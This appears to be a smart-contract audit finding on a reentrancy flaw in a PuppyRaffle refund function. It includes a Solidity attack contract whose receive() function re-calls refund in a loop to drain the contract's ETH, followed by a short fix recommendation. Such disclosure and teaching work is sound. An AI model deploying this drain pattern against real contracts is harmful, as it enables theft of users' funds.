attacker could reenter the refund functions many times, draining the contract ETH balance
POC below, basically attacker wait until there are enough entrances to the raffle (so that there are lots of ETHs to take), attacker enter the raffle, attacker then call refund and reenter this function many times to drain the contract
pragma solidity ^0.7.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
interface PuppyRaffle{
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(address player) external returns(uint256);
}
contract AttackPuppyRaffle is Ownable{
PuppyRaffle raffle;
uint256 entranceFee;
constructor(address PuppyRaffleAddress, uint256 _entranceFee){
raffle = PuppyRaffle(PuppyRaffleAddress);
entranceFee = _entranceFee;
}
function enter() public payable onlyOwner{
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(this);
raffle.enterRaffle{value:msg.value}(newPlayers);
}
function attack() external onlyOwner{
uint256 playerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(playerIndex);
}
receive() external payable{
uint256 playerIndex = raffle.getActivePlayerIndex(address(this));
while(msg.sender.balance >= entranceFee){
raffle.refund(playerIndex);
}
}
}
apply the CEI best practice (Check-Effect-Interaction), zero-ed the players address first before sending the ETH
or use reentrancy guard